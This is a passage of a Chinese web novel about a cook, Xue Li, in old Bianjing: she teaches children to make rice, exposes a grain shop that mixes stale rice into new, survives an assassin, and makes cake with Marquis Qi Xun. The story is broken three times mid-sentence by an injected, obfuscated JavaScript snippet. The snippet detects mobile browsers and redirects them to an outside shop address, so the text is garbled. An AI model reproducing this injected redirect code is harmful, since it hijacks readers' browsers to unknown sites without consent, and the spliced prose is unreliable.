小姑娘的动手能力颇佳，上回由姜喜鱼和薛荔领着去逛街市，瞧见头面铺子里梳头娘为其他小娘子盘头发的条贯，细致地瞧了两回便学会了双螺髻。薛荔给她买了一柄小竹木梳篦，几朵彩帛花，还有数枚月白陶珠，再由她自个儿用茜色头绳将螺髻根一缠，莫提有多可爱讨人欢喜了。 她忍不住捏了捏豆姑头上蓬蓬的螺髻：“接下来，还得添几勺盐巴与白醋。” 薛荔将原理讲得耐心而浅白，方便他们记得更为轻松牢固：“为何要加盐巴？你们想想，菹菜时撒盐，菜梆子是不是会更为脆生？煮饭亦是此理，与盐同煮过后的米饭会更为弹牙有劲儿。” 用现代的专业术语来讲述，那便是盐中的钠离子会增强大米中支链淀粉的网状结构，是以使煮出的米饭口感更??筋道。 “那加白醋又是为何？不会将米饭煮得发酸么？”糍儿问道。 “好问题！”薛荔笑笑，“但此处的醋只会添一些许，非但提供不了酸味，反而可让米粒更加蓬松，即便是暑日，盛出来放在外头，搁上半日也不易发馊。” 她往锅中倒入一点盐巴与白醋，又拿木勺将米水搅匀。三个孩子都以为接下来便到了生火煮饭的步骤，却未料到，薛荔出了灶房，从院中水井里打捞上来一只方方正正的箧衍。 打开箧衍一瞧，只见里头用两层油布棉囊紧紧裹挟着一块透亮的冰。 “咱们不是要将饭煮熟么？往其中添冰，岂不是背道而驰？”??糍儿见卧着的那块冰，疑惑地皱起眉头。 他如今可算是知晓，为何喜鱼阿姊当初死活不肯将这薛氏煮饭妙招学以致用了。 这简直......简直太怪诞了罢。 “这你就不懂了。”薛荔一面将冰切成小块，投入锅中，一面同他道来，“冰块能让米粒在烹煮初期慢慢地、充分地吸收水分。这就好比以文火来炖肉，将肉的里里外外都渗满汤汁。这般煮出的米，粒粒饱满如珍珠，香甜不散。” 如是描述，几个娃儿应该能听懂了。但若按专业术语来解释，当是因为大米的甜味分解酶素到八十度便会停止分解，而加入冰块可延长其分解时间，所以煮出的米饭才会更香甜可口。 糍儿来到珍味铺数月有余，向来是什么脏活累活儿都抢在两个弟弟妹妹前头做，如今生起火来已是手脚麻利，游刃恢恢。 他先取一沓芝麻秆，折短后将其在灶底铺满，随后取出火折子点火，待芝麻秆燃起后，又往上用??细细的荆条架出伞骨状模样，不过一会儿，火势渐渐旺??起来，他再往灶底添入劈柴，引燃主火。 大锅米饭滚煮，香气渐溢，才不过两刻钟，灶房里已馥香盈鼻。 几个娃娃兴兴头头地凑到锅边想瞧，却被薛荔一个个拦下：“揭盖子时要小心，莫让蒸汽扑了脸。” 她隔着一块抹布捻起锅盖，甫一揭盖的那一霎，米饭的清甜香气便混杂于水蒸气之中，同他们扑了个满怀。 “香气甜滋滋的！”豆姑忍不住惊呼。 待到如云霭升腾的雾气消散，锅里雪白晶亮的米饭才姗姗显露真形。 每一颗米粒都似蚌磨珍珠般饱满挺立、晶莹透亮，由窗外的灼灼丽日一照，还能依稀瞧见米上裹着的一层薄薄油脂。 “来，豆姑，你来帮我松饭。”见小姑娘的眼底闪着熠熠光辉，薛荔抽来一只小脚凳，抱起豆姑立上去，“像这般，从下往上轻轻地翻松，米饭才不会结成硬疙瘩。” 薛荔给小姑娘演示了一遍，豆姑认真地点了点脑袋，从她手中接过饭勺，有模有样地翻拌起来。 这个窍门，还是薛荔自小从家中老一辈人那儿学到的。 从饭锅揭开的那一刻，熟米中的水分与热气便急速外泄，如若不趁热将米饭打散，不过多久，饭便会结成一团，饭底亦容易发黄发硬。 木勺轻拨，上层莹白似玉的米粒便扑簌簌滚落，铲至底部时，可见一层金灿灿的脆片——原是猪油在灶火中化作了无形大网，将釜底米粒紧紧收拢，烤出一片金甲。 “我想吃锅巴！”馍儿闻得香气，口水几乎要淌过下巴，蹦跳着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826027|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚷嚷。 “好好好。”薛荔笑应，偏头问，“豆姑和糍儿呢？要不要吃锅巴？” “要！”豆姑兴冲冲地举起小手。 糍儿却脸上飞起一抹红，紧抿着嘴，不作声。 薛荔掰下一块锅巴，先分给两个小馋鬼，复而自个儿尝了一口，嚼得嘎嘣脆响，满意地点了点头，这才有意逗糍儿：“嗯！好生脆香！这般金黄金黄的锅巴可不是顿顿饭都可煮出的，你当真不尝尝？” 糍儿不自在地别过脸，硬是装作不在意：“零嘴是稚子才吃的东西，我……我已经长大了。” 薛荔“噢”了一声，故作理解，转身继续找寻釜底的锅巴，分给应“吃”不暇的豆姑与馍儿。 但她可未忽视身旁那道别别扭扭的身影。 眼瞅着糍儿的小手都要将衣衫搅起褶子了，薛荔忍笑，从饭锅里取出一大片藏好的黄金锅巴，递过去：“喏，小大人，就作是帮我忙，消灭剩下的这些。” 糍儿不大自在地看了一眼，抿了抿唇，耳尖微红：“……那好罢，但只能吃一块。” 薛荔满声应下。 这孩子，怎么看着看着，渐渐有一股熟悉的感觉？ 薛荔百思不得其解，蓦而一道灵光闪过，得出了结论——这嘴硬心软、死要面子的模样，怎地越看越像齐恂？ 她猛摇摇头：不成不成！糍儿可坚决不能学成一块冰山！ 薛荔于心底暗下决心，势必要将这孩子培养成大大方方的开朗模样。 糍儿“咔”地咬下一口金甲锅巴，齿间触到的先是猪油煨出的酥脆，嚼得久一些后，方是米饭的回甘，逐渐眉眼间都舒展开来......美味美味，当真美味。 “光看我做一遍可不行，你们仨也得自己动手，熟悉条贯。”薛荔发令。 原先的米用完了，三个小的便拆了一袋新米用。 几个孩子年纪虽小，但好在听讲用心，记性又好。馍儿淘米，糍儿添料烧火，豆姑翻松米饭，半个时辰下来，眼瞅着也算是顺顺当当地快完成任务了。 待饭熟时，馍儿早就雀跃地守在锅边，手里隔着毛巾，迫不及待地变戏法般“哗”一下揭开锅盖。热雾冲天而起，豆姑个头不够，只能双手搭着趴在灶台边，却嗅出味道之不同：“这次的香气没上回浓。” “不光香气淡了，且这锅熟米的色泽与软糯程度亦同之前的差了许多。”糍儿第一眼便瞧出不对，拿饭勺翻动了翻米饭，由表及里，皆不及先前煮出的那一锅好。 “是不是方才我将火烧得太猛了？”糍儿懊恼地垂眼，自我反省道，“我见锅里水多，便拉快了风箱。” 薛荔上前细细察看那锅米饭，心中亦觉古怪。 方才她全程都在一旁盯着，三个孩子做法虽有细差，却断不至于差这么大。 她拿起木勺搅了搅饭，触感略有些发硬，再俯身嗅嗅米饭的气味，似乎带着一丝微不可察的霉味。 反观方才的头一锅米饭，饭粒盛在陶碗之中，似是被羊脂浸润过的暖玉，依旧油润润地饱满挺着。 薛荔思忖少顷，终是摇了摇头：“这同你们的手艺无关。” 40. 粮行讨公道 她走到米架边，拆开他们新用的那袋米一看，袋中的生米粒色泽暗沉，于掌心里搓摩时，还能磨出极细的白色粉末。 再从灶台上随手抓起一把小刀，又划开同一批买入的另几袋大米，再一抓、一搓，心下了然。 “可是此米有何不对劲？”糍儿见她神色严肃起来，不禁问道。 薛荔默了片刻：“咱们买到陈米了。” 汴京的各大粮行卖米向来掺陈于新，以此牟取些蝇头小利。食肆的东家们大都心知肚明，却亦不愿为几斗陈米同粮行闹僵了关系。 只是最近购入的这批货里，压在上头的前几袋还好，可愈往后拆，便几乎是半新半陈了。 薛荔要几个小乞儿唤来喜鱼。后者晓得了此事，气得拍案，肩一抬就要扛起米袋，到那福盛粮行去讨个公道。 “姑奶奶闯荡江湖十八载，还能被奸商戏弄？若不将他们捶得亲耶娘都认不得，岂不枉了我响当当的名号！” “欸，等等、等等。”薛荔连忙拉住她，“这些米袋并非当着粮行的面拆开的，他们又岂会认？到时没理的就成咱们了。” 姜喜鱼一听，觉不失道理，不甘心地搁下米袋，闷声道：“那咋办？咱们也买了不少米，总不能硬生生吃下这份哑巴亏吧？” “跟着我，你何时吃过哑巴亏？”薛荔眉梢一挑，弯弯手指叫姜喜鱼凑近。 俩人窃窃私语几句，姜喜鱼脸上的阴霾一扫而空，朝着薛荔拍拍胸脯：“此事包在我身上！” - 是夜，月黑风高，漏尽更阑。 薛荔悄立在宅院墙脚边，时不时仰头望向墙外，不知在张望些什么。 忽而，墙头“嗒”地一声轻响，一道黑影翻墙而下，行止矫捷如猫。 薛荔一转脸，只见一黑黢黢脸孔，吓得心口直跳，压低声嚷：“你走路都没声儿的么？可是嚇死我了。” 黑衣人扯下面纱，露出白生生的一张脸，正是姜喜鱼。 她眉飞色舞：“干我们这行的，若是走路有声，岂不是自砸饭碗了？” 说完，她又自觉不太对，忙纠正道：“不对，是从前、从前干这行！” “嘘！小些声儿！”薛荔忍俊不禁，将食指比在唇中，“你探查得如何了？” 姜喜鱼神情一正：“你说得果真没错！” “方才我潜入米行，发现他们仓廪深处藏了好几堆陈米，且柜台下就搁着一桶，八成就是贩卖时随时掺进新米里去的。” 掌握这点有利情报，翌日清晨，薛荔便拎着米袋去了福盛粮行。 她还专挑了个人多的时段，甫一踏入门槛，便瞅见柜台后聚着几个伙计。乍一瞧，三四人似乎正有条不紊地称米、装袋、捆袋，实则背过身去时遮遮掩掩，不知藏匿了多少小动作。 薛荔敛眸一笑，走到最热闹的柜台前，瞅准那顺着小八字胡的掌柜。 “掌柜的！敢问你们家粮行可有陈米相卖？” 此言一出，周遭来买米的、卖米的俱是一愣，随即笑声四起。 “小娘子，你这要求可是够稀奇的！从来只见买新米的被欺昧着掺了陈米，可这要求买陈米的，倒还是头一回见！”有买米者侃趣。 薛荔微笑不语。 “小娘子此话倒是颇为有趣！”八字胡掌柜拱手笑道，“你若要买陈米，那可是来错了地儿。我们福盛粮行，五代相传，历来只卖当季新米，从不掺假。” “如此说来——”薛荔稍挑眉，将印着粮行标识的米袋丢在柜台中央，敞开袋口抓起一把米，“那莫非我是在睡梦之中买到你家的陈米？” 她手指相摩，那米粒便渐渐落下了白色粉末。 围观的几个商户顿时惊讶：“这还真是陈米！” 八字胡掌柜脸色变了变，继而又淡定笑道：“诸位掌柜的可莫要误会，这位小娘子怕是十指不沾阳春水，不知柴米油盐之事。这米在经送途中多有摩擦，生些粉末是再正常不过之事，何须大惊小怪？” 此人自个儿罪名未清，反倒打一耙来了。 “掌柜的若非要如是说，那我这‘不沾阳春水’之人还非得试试，看看你家米到底是不是新米。”薛荔闻言笑笑，转而又对店小二道，“烦请这位郎君取碗清水来。” 那粮行的伙计未得东家许可，哪敢真去替她接水？ 可眼见着身旁其他商户议论纷纭，八字胡掌柜只得颔首。 少顷，一碗水便被端来。 薛荔将袋中米倒入水中，静待片刻后，在场所有人便都瞧见陈米漂浮之景。 瓷碗并非剔透，瞧不见碗底之景，她便抬手将水面浮起的陈米拂去，沉于盏底的寥寥新米重现于众人的视线之中。 真正的当季新米，饱满沉实，投入水中后会迅速下沉，而陈米的密度较低，瘦小干瘪，极易漂浮。 “陈米之多，新米之少，诸位皆是明眼人，事到如今，自可一目了然。” 有的商户难以置信，亲自洒米入水，以此试验，果不其然，大半皆浮，登时便炸开了锅： “这！你们粮行如何解释？！” “我铺中一月二十石米，都自你家买，如今不知吃了多少陈米的亏！” “诶！那边那小二！莫给我装米了，我可不敢买。” “……” 八字胡掌柜见已按捺不住众人，背后微微渗汗，面上却仍强自镇定：“小娘子，你可莫要凿空指鹿。这米袋上虽刷印着我们粮行的铺识，但你拿回铺中后早已拆封，谁能保证并非贵店的伙计不小心混入了别家陈米？” 这言外之意，不就是赖薛荔自个儿么？ 好在她早已留了一手。 薛荔眼神一亮，趁伙计不备，疾手夺过一袋方束好的米，掏出随身携带的小刀往上一戳，从中洞里抓出一把米。 “你这是做甚？”八字胡掌柜急要上前相阻。 “掌柜的莫急。”薛荔不紧不慢地取出一只小木盒，打开盒盖，只见里头关着几只小蟋蟀。 她将手中的那把米撒了进去，其中的蟋蟀动了动身子，凑近米粒嗅了嗅，终了，却无一只肯动：“这米大家都瞧见了，是方才自你家小二手中拿来的。可若真如掌柜所言，此为新米，为何连蟋蟀都不愿吃？” 那八字胡掌柜从未料及会有此招，顿时哑然，他呆张着口，还欲狡辩，可薛荔却不会给机会让他开口。 她抖开一方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831562|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手帕，将其中裹着的另一捧米洒进盒子里。倏忽之间，木盒中的蟋蟀又争先恐后啃咬起来。 “这才是真正新米。至于福盛粮行所卖之米，乃贮积过久、营养消乏之陈米，是以连以米为食的虫蚑都嫌弃。” 诸位商户凑上前去瞧，那盒中的蟋蟀果然吃得起劲，而粮行之米则被孤零零地冷落在一旁。 纷争更甚，一片淆乱之中，薛荔幽幽地看着八字胡掌柜：“人有佯言，可动物未有。” 那掌柜的终究是老江湖，哪能就这般被她嚇住，急赤白脸同众人诡辩：“我福盛粮行的生意遍布整座汴京城，若所买真为陈米，为何偏只小娘子你一人上门来闹？这一切皆由你挑起，谁知你是不是自己做戏？还有那蟋蟀，蟋蟀杂食，你用其他食材将米一熏，染上香气，它怎会不吃？” “掌柜的，你若执意抵赖，那我可不得不拿出些真凭实据了。” 薛荔笑语盈盈，目光却锐利。说着说着，忽地一把捉住柜台边店小二的手，高高举起：“若卖新米，为何装米伙计的掌心里沾着白色粉末？若卖新米，又何必将米袋藏于柜台底下，见不得光处贩鬻？” 质疑之声愈发多起来，有好事者甚或翻过柜台，将米桶拎出，当众抓了一把，指尖一搓，果真陈米无疑：“诸位快看！这福盛粮行果真黑心！” 众人心有不平，群起而声讨之，场面愈发鼓噪，这会儿那掌柜可谓是真压不住了，只好急忙安抚：“诸位掌柜莫急！误会，这定是误会！” 话音未落，他猛地抬一脚，狠狠地踹倒自家那装米伙计，厉声斥骂：“手脚不干净的东西！准是你暗里偷换了店中米粮，借此生财，坏粮行声誉！我非将你送去衙门，还在场诸位一份公道不可！” 装米伙计吓得脸色煞白，连连叩头求饶。 八字胡掌柜转过身来，又朝众人频频作揖赔笑：“今日之事，实是店中丑闻！既已查出，某定不会姑息！诸位蒙受的损失，我福盛粮行必当尽数赔偿。” 早料这掌柜的精明，不会就此被轻易打倒，薛荔于心底里冷哂一声，字字清晰道：“赔偿倒是其次，更重要的是——从今往后，所有米粮买卖，须得当众开仓验货，买卖双方一同验过米质，再可交易。” 一番话，说得那是言辞明了，掷地有声，满堂人俱是点头称是。 八字胡掌柜的不敢反驳，只得强自陪笑，灰溜溜地答应了：“那是自然，那是自然……” - 春酲楼二层雅阁，丝竹声悠扬。 有人正摇着折扇，压低嗓音：“你可曾听说，那福盛粮行假卖新米之事？” “怎会不曾听过？”同桌之人应道，“听说还是一小娘子揭发的，当日在那粮行里大闹了一场，如今那福盛粮行的生意可谓是一落千丈咯。” “何止他一家粮行生意不好做？”另一人凑近，“新陈米掺卖，这是粮行贯来的老例，大家伙儿平日里装糊涂罢了，可如今遭人挑明，又闹得人尽皆知，官府亦不得不严查。眼下，怕是城中各家粮行都坐立难安呢。” “……” 隔着一堵雕花木墙，东阁之中。 齐恂斜倚坐榻，自若饮茶，将这段谈话收入耳中。 41. 月黑杀人夜 “侯爷，您早就怀疑那福盛粮行有鬼，为何不直接查封？”云冯低声问询。 齐恂眸色幽深，淡声道：“本侯若直接插手，只会打草惊蛇。” 福盛粮行背后的东家，实则正是他们暗查的户部尚书一党中人。朝堂势力交错盘根，那几人如豺狼狐鼠，勾连敛财，风声稍露，必然惊觉。他们不可轻举妄动。 云冯眼底一亮：“不过这回，薛小娘子倒无意中帮了侯爷大忙。” 听闻她的名字，齐恂唇角微微勾起，似笑非笑：“她那张嘴，不比刑部的推勘官差了。” “小娘子大闹粮行”之事一经传出，坊间的说书人便早早地编好了话本子，添油加醋，各种离奇版本都传出来了，还讲得有板有眼的。 无非都是道这位小娘子锋芒逼人，口角生风，他闲来听一听，倒亦觉着有几分趣味。 他眉宇间掠过一丝思索，侧脸吩咐：“近来她风头过甚，安排人暗中护着她。” “是，属下遵命！” - “你说说你，咱们今后都不在那粮行里买米了，为何还要大费周章去揭露他们？”姜喜鱼将铺子里最后一条椅凳反搭上桌，一边转过头来同薛荔道。 许是前两日福盛粮行一事因她而水落石出，众人拍掌称快，近来珍味铺反倒生意兴隆，直教她二人忙活到天色黢黑才得以打烊。 “纵然咱们不买，可旁人还要买呀，总不能任他们被人蒙骗。”薛荔将地扫得一尘不染，叉着腰，揾了揾细汗。 姜喜鱼叹息：“欸，只是可惜了咱们先前买的那些米。” “莫要忧心啦！”薛荔拍了拍她的肩，笑盈盈地宽慰，“我这就去后厨将那些米都泡好，今后咱们便不愁没东西喂鸡鸭了！” 姜喜鱼一听，倒也释然：“这倒是个好主意！” 薛荔进了庖厨，将米倒入大缸里，又打了几桶井水浸泡。木桶刚搁下，忽听角落里传来轻微窸窣声。 莫非是耗子？ 她抄起笤帚，循声缓步靠近，才一举起笤帚，忽见一抹黑影自灶下骤然窜出，白刃一闪，直劈她面门！ “啊——！” 薛荔惊呼一声，慌忙侧身避让，袖口却被锋利地削落一角。那人蒙着面，身法极快，显然来者不善。 老天奶！她这是惹了上何人，要什么仇什么怨，才能被人暗杀啊！ 大堂里，姜喜鱼正将茶具归位，忽而耳朵微动，听闻庖厨那边声响异样，心头一凛，当即撒手丢下茶具，往庖厨里冲。 甫一踏入门，却见那黑影人的刀锋已冲自己刺来。 “喜鱼小心！”薛荔急声呼喊。 她本被逼退在了墙角，姜喜鱼一来，便使得那人暂且转换了目标。 冷光如电，姜喜鱼仓促招架，数招间便被逼得跌倒在地，刀刃几乎擦颈而过：“阿荔，快跑！” 性命攸关之际，薛荔怎会是那种抛弃同伴自己逃走的鼠辈？ 她抄起菜刀，闭了闭眼，上一辈子死得突然，连临终遗言都未来得及说，这辈子已是死到临头，自己好歹也要做个鬼雄罢！ “阿荔！你愣着干什么！” 薛荔心跳如擂鼓，死死攥着菜刀，指向朝自己缓缓逼近的不善之人。 电光火石之间，窗外飞身掠进一人，长剑寒光一闪，竟逼得那黑衣人手中的长刀脱手。 薛荔连口大气都不敢喘，愣愣地盯着这不知从何而来的二人厮杀。 不论如何，方才从窗外掠进来的这人面相都瞧着和善些，只盼着不要是两个都来杀她的就好。 数招之间，暗卫一脚踹翻刺客，剑锋抵住后者脖颈，冷声质问：“是谁派你来的。” 刺客眸光阴鸷，唇角泛起森冷笑意。暗卫心头一凛，忙欲制住他下颌，却仍迟了一瞬。 薛荔瞪大双眼，呆立在原地，后背冷汗涔涔。只见那人嘴角溢血，身体抽搐两下，竟是服毒自尽。 没想到从前只能在电视里见到的情节，如今居然活生生地发生在她眼前了。 - 墨竹堂中，烛影摇曳。 薛荔坐在缠丝梨花榻上，医女替她细细处理好手臂上的刀伤，抹药、缠纱，不敢有丝毫马虎。 一旁的姜喜鱼凑上前来，瞧见那道划伤，不由得替她疼得龇牙咧嘴：“看来，你怕不止是得罪了粮行那般简单。” 谁说不是呢？若只是粮行欲报复，断不至于要她性命。 “这其中定然藏着不为人知之事。”薛荔俯在姜喜鱼耳边，压低声音道，“咱们得想法子将它查清。” 闻言，姜喜鱼朝她促狭一笑：“此事哪需要你我二人去查？侯爷既派人对你暗中相护，显然是知晓内情的，你只消开口问他，不就什么都晓得了？” “此事显然机密，他怎会轻易说与我听？” 欸，姜喜鱼简直无语。 她家阿荔什么都聪明，唯独这情感之事上似乎少一根筋。 顾忌着女医在场，姜喜鱼伸手揪住她的衣襟，将人拉近，低声恨铁不成钢地咕哝几句。 惊得薛荔下巴都要掉下来。 “你说……他……我？”她呼吸都乱了，讶然地往后一坐，手掌撑于榻上，稍用力又牵扯伤口，疼得嗔目切齿。 医女忙唤她莫动，又多给她紧紧包扎了一圈，瞧她手臂只能平抬平放，再无法乱动弹，这才安下心来，柔和叮嘱一番“伤筋动骨一百天”的云云话语，收拾好药箱，方起身告退。 薛荔费劲地穿好衣裳，理了理发鬓，这才缓缓起身。 走到门口的一路上，满脑子都在想姜喜鱼方才的那番话。 齐恂心悦她？ 他心悦她……何时的事？ 薛荔努力回想着二人之间的种种交集，正想得脑壳疼呢，抬臂一推开门，脑海中主人公的那张冷峻脸庞便出现在自己面前。 齐恂眉宇紧锁，目光正落在她身上。 敷药时不宜外男在场，他在门外等了多久？ 心中忽而浮现起喜鱼说过的话，薛荔一下子不知该说什么才好。 后者却不似她这般慌乱，自上而下将她细细打量一番，见她并无大碍，心头微松，随即长臂一伸，避开伤处将人揽入怀中：“幸而你无事。” 这份拥抱来得太为突然，以至于她的整张脸直接撞上了他胸膛……嗯，硬邦邦的，触感还不错…… 薛荔的面庞有些粉红，鬼使神差地沉浸式享受起自家东家大方给予的福利，可还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835944|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惬意多久，跟前的齐恂似乎又意识到什么，不太自在地缓缓松开手，拉开二人间的距离。 他清咳一声，语气恢复冷淡：“早说过在外处事要低调，如今惹来杀身之祸，该长记性了？” “再怎么说，那也是外头的事，又非侯府里头，侯爷管得这般宽干嘛？”她故意囔道。 “不论何处，你都是宁武侯府之人。”齐恂正色道，“你的一言一行亦关乎侯府脸面，今后声张正义之前，好好动动这小东西。” 话音未落，脑袋瓜冷不防被叩了个爆栗，薛荔吃痛地捂住脑袋，嗔了他一眼。 说她脑袋小，干脆直说她蠢得了呗？ 薛荔抿着唇，一言不发地绕开他，径直就要往外走。齐恂见状，欲伸手拉住她，却想起她手臂有伤，只得快步跟上：“这么晚了，要去哪儿？” 答案显然易见，是往庖厨方向去的。 齐恂轻叹着摇了摇头，小馋狐狸。 - 薛荔这般晚来庖厨，一则是自个儿肚里闹腾，二则心心念念要试一道新点心——云片糕。 自打那日吃拨霞供时，受云冯名字的启发联想到云片糕，她便盘算着要做做看这糕点了，今日终于寻到机会。 云片糕的原料繁多，主料有糯米、白糖、猪油，辅料则有葡萄干、榄仁、瓜子、芝麻、核桃、松子、桂花、玫瑰及各式香料。 要想制作这份糕点，大厨之手艺还得分外精细。这是齐恂亲身实践后悟出的道理。 “你行不行啊，要不……还是我来罢。”薛荔站在一旁，瞧着齐恂双掌搓揉，一点点将糯米碾去米皮，仅留米心，动作虽沉稳，却慢得很，惹得她极欲自己上手。 “还嫌伤得不够重？”齐恂直起腰板，瞥她一眼，“你在一旁坐着瞧便好。” 嘿，农奴翻身把歌唱，她求之不得哩！ “你莫瞧这糕最终做出来小小一片，可做它的每一步都是要经验与技巧的。”薛荔给二人泡了杯茶醒神，边喝茶，边在齐恂耳边叨叨。 “炒糯米时，定要将它炒得熟透。将米倒入大铁锅??中，文火慢炒，直至米粒鼓起、微微泛黄、散发出温暖的熟米香??。而后便将它放入??石磨，细细研磨多次。糯米粉的细腻与否会直接影响云片糕是否可入口即化，是以你磨好之后，还须将粉料用??极细的马尾罗??筛去粗粒。” “这总可以了？”齐恂捻一把磨好的糯米粉，递至薛荔眼前，两指轻轻一捻，粉末便如霜似的在指腹抹匀开来。 “不愧是孔武有力的侯爷！”薛荔眼睛一亮。 要想郎君出力，自个儿享清闲，可不得先夸赞上两句么。 齐恂垂眸瞧她澄澈闪亮的双眸，虽知是吹牛拍马，可眉眼间仍不由得染上几分浅淡愉悦。 这殷勤献得不错。 “接下来，便是最需耐心和气力的一步了。将砂糖、豕油与粉料揉和均匀??，要捏之成团、搓之即散的??糕团状。” 薛荔拿来一个大木盆，方欲上手演示。齐恂却伸臂拦住，一把夺过木盆：“我来。” 两人手背不经意贴合，又迅速分开。 手背上的那片温热与粗粝的触感悄然离去，薛荔的心猛地跳了一下。 42. 通宝云片糕 她强自镇定，抬起完好无损的那只手臂去拿盛着桂花的罐子，不出意料地，被他一一取来：“再加些葡萄干、榄仁、瓜子、核桃与桂花……” 齐恂瞥了她一眼，唇畔微微泛笑。 薛荔不知他在笑什么。 “幸而医女说，你的伤未伤及筋骨，否则今后做不了饭，某人日进斗金的美梦怕是无法成真了。” “有何好怕？这不是还有侯爷在暗中保护我么？” 今日命悬一线时，能有暗卫及时相救，薛荔当真打心底里感激齐恂。 瞧出她心底所思，齐恂故作淡然道：“不必谢我，若要谢，不如谢官家将你拨到侯府来。” 做了好事还嘴硬，这很齐恂。 “多谢侯爷相救——”薛荔忍不住笑，拖长尾音道。 齐恂耳根微红，好在庖厨里烛火昏黄，看不真切。 他咳了两声，生硬道：“下一步做什么？” 糕团揉妥，接下来自然便是压模成形，覆上木板，放入??蒸笼??中温火细??蒸了。 “云片糕蒸制的时间虽短，却很是要讲究火候控制。火太大，糕体会膨胀开裂、表面粗糙；火太小，则糕内不易蒸透，口感发粘。” 薛荔蹲守在灶前，眸光随火苗摇曳，一面同他详细道来。 齐恂在一旁净手，回头看去，便看见她眸底映着的熠熠火光，神采明亮，言辞里有股压抑不住的雀跃。似乎每每谈起、做起与厨事相关之事，她总有万语千言可说，亦总有使不完的劲头，整个人都鲜活生动起来。 薛荔抬眸，瞥见他衣衫与卷起袖口的小臂上尽是糯米粉，“扑哧”一下笑出声来：“搁在本朝，如此接地气的侯爷，可真是不可多见了。” 这都是为了谁？ 齐恂淡淡哼一声：“还不是怕府上某位厨娘，今后再无法制膳给本候享用。” 嘴硬，真是嘴硬。 薛荔眉眼挈笑，理直气壮使唤道：“多谢侯爷如是体贴。不过侯爷既已帮衬了这般多，不如送佛送到西，帮儿家将糕也切切片？” 齐恂不咸不淡地睨了她一眼，将蒸好放凉了的糕取出来，又接过她递上来的锋利大方刀。 “最好是能薄如蝉翼，照可透光。”某人添道。 闻言，他瘆瘆转脸，凝着眼巴巴望着的薛荔。 后者连忙找补：“不过，侯爷惯使阔剑宽刀，若是切得大气些，亦自有一番气派食相！” 齐恂的面色这才好转些。 虽难比内行的切片师傅将糕片得似书页般透薄，但他这位金枝玉叶的侯爷也算是尽心竭力，刀起刀落，将一长条云片糕削得与通宝厚薄相若。 “多谢侯爷。”薛荔探身凑近，左瞧右看，喜滋滋挑出一片馅料最丰的递给他，“侯爷不妨尝尝，自己亲手所制的糕点？” 齐恂凝着那只纤白似玉、轻捻糕点的手，心神一瞬恍惚。 他向来不嗜甜食，可这糕既是自己同她一同所做，那么一尝也并非不可接受。 只是，眼下她捏着这片薄薄窄窄的糕，他该如何吃呢？伸手去接怕碰着她手指，唐突了她；再重新拿起一片，又显冷淡，怕她误会失落；似乎怎么都不妥，倒不如索性低首将唇凑到糕旁，就着她手吃了算了…… 他正为自己心中放浪荒诞的想法暗惊，心底想着，还是用手捧着接过了吃较好，身边薛荔却做出了一个令人意料不及的动作。 “唔……！” 吃片糕而已，怎地这般磨蹭？ 薛荔抬手将糕片径直塞进他嘴中。 她若能知晓方才他的所思，只怕会吐槽，抱都抱过了，还难为情碰手么？ 齐恂被糊了一嘴的糕。那糕片不但色泽洁白如雪，就连吃到嘴中亦是如雪花般悄然化开，两齿轻轻一嚼，清香盈满口腔，细腻甜润，令人陶醉不已。 外行人尝味道，内行人琢手艺。 薛荔自己亦取出一片糕送入口中，只觉细腻香甜，桂香扑鼻，说是入口即化也毫不夸张。 她再拿起一把，又试着以手轻展——云片糕若是做得好，以手捏住底部一甩，可作折扇似的张开，质地虽滋润细软，但不会一弯即断。自己如是一试，可糕片虽似扇子般的张开，但弯了一弯，仍是避免不了断裂。 许是压粉时有些疏松？她仔细琢磨起来，自然未注意到面前纯情侯爷热腾腾、微微红的耳尖。 “你觉得如何？”薛荔问道。 齐恂握拳掩唇轻咳，低首掩去那一抹绯红：“不错。” 薛荔瞧了他好几眼，觉着有些不对劲，可定睛一看，却又瞧不出端倪了：“终于不是什么‘尚可、尚可’之类的话啦？” “我的点评有那般重要？”齐恂看她，“你对自己的手艺很没自信？” “自信自然是有的。至于评价嘛……”薛荔俏皮道，“谁叫你是我东家呢？” 齐恂道：“那现在，东家要给你一句话。” 薛荔问：“什么？” - 侯府后厨里。 灶底，火焰烧得正旺。灶前，郭栗祥热得两颊直淌汗珠，一边还忙不迭地兼顾着两口饼大的铁锅。 “侯爷既然不让你做下厨，那自然是盼着你早些痊愈，为你好哩！”郭栗祥一面拿汗巾揩了把汗，一面翻炒道，“像我，巴不得休暇几日，可侯府上下人人的肚子都等着我的饭呢，哪儿能离得开？” 半倚在门边小凳子上晒太阳的薛荔扯了扯唇角，也不知这人究竟是在炫技，还是真心求假。 